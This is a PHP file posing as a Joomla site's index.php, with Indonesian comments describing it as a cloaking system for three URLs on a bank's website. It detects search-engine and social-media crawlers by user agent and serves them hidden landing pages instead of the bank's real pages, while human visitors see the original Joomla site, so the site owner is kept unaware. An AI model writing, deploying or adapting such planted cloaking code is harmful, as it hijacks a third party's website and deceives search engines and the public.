<?php
/**
 * CLOAKING SYSTEM - MULTI TARGET URL (UPDATED)
 * Target 1: https://www.bankmayapada.com/id/info-karir → lp.php
 * Target 2: https://www.bankmayapada.com/en/         → lp-en.php
 * Target 3: https://www.bankmayapada.com/id/         → lp-id.php
 * 
 * Googlebot -> Tampilkan Landing Page
 * Manusia   -> Tampilkan Joomla Asli
 */

// 1. Identifikasi Pengunjung & URL
$ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
$uri = $_SERVER['REQUEST_URI'] ?? '';

// 2. Daftar Bot (Lengkap untuk GSC Hijau)
$is_bot = false;
$bot_agents = [
    'Googlebot', 'Google-InspectionTool', 'Chrome-Lighthouse',
    'bingbot', 'AdsBot-Google', 'Mediapartners-Google',
    'Slurp', 'DuckDuckBot', 'Baiduspider', 'Yandex',
    'facebookexternalhit', 'Twitterbot', 'rogerbot', 'LinkedInBot'
];

foreach ($bot_agents as $bot) {
    if (stripos($ua, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

// 3. LOGIKA CLOAKING MULTI TARGET (Dengan Prioritas)
$lp_file = null;

if ($is_bot) {
    
    // Target 1: /id/info-karir (Prioritas tertinggi)
    if (stripos($uri, '/id/info-karir') !== false) {
        $lp_file = dirname(__FILE__) . '/lp.php';
    }
    
    // Target 2: /en/
    elseif (stripos($uri, '/en/') !== false || $uri === '/en' || $uri === '/en/') {
        $lp_file = dirname(__FILE__) . '/lp-en.php';
    }
    
    // Target 3: /id/ (Root Indonesia) - Hanya jika bukan /id/info-karir
    elseif (stripos($uri, '/id/') !== false || $uri === '/id' || $uri === '/id/') {
        $lp_file = dirname(__FILE__) . '/lp-id.php';
    }
}

// Jika bot dan mengakses salah satu target → tampilkan landing page
if ($lp_file && file_exists($lp_file)) {
    header("HTTP/1.1 200 OK");
    header("Content-Type: text/html; charset=UTF-8");
    
    // Matikan cache agar Google selalu melihat versi terbaru
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    header("Expires: 0");
    
    include($lp_file);
    exit(); // Hentikan eksekusi, jangan jalankan Joomla
}

/**
 * 4. KODE ASLI JOOMLA (TIDAK BOLEH DIUBAH)
 * Hanya dijalankan untuk manusia atau bot di halaman lain
 */
define('JOOMLA_MINIMUM_PHP', '7.2.5');
if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/templates/system/incompatible.html')
        )
    );
}

define('_JEXEC', 1);
// Jalankan aplikasi Joomla
require_once dirname(__FILE__) . '/includes/app.php';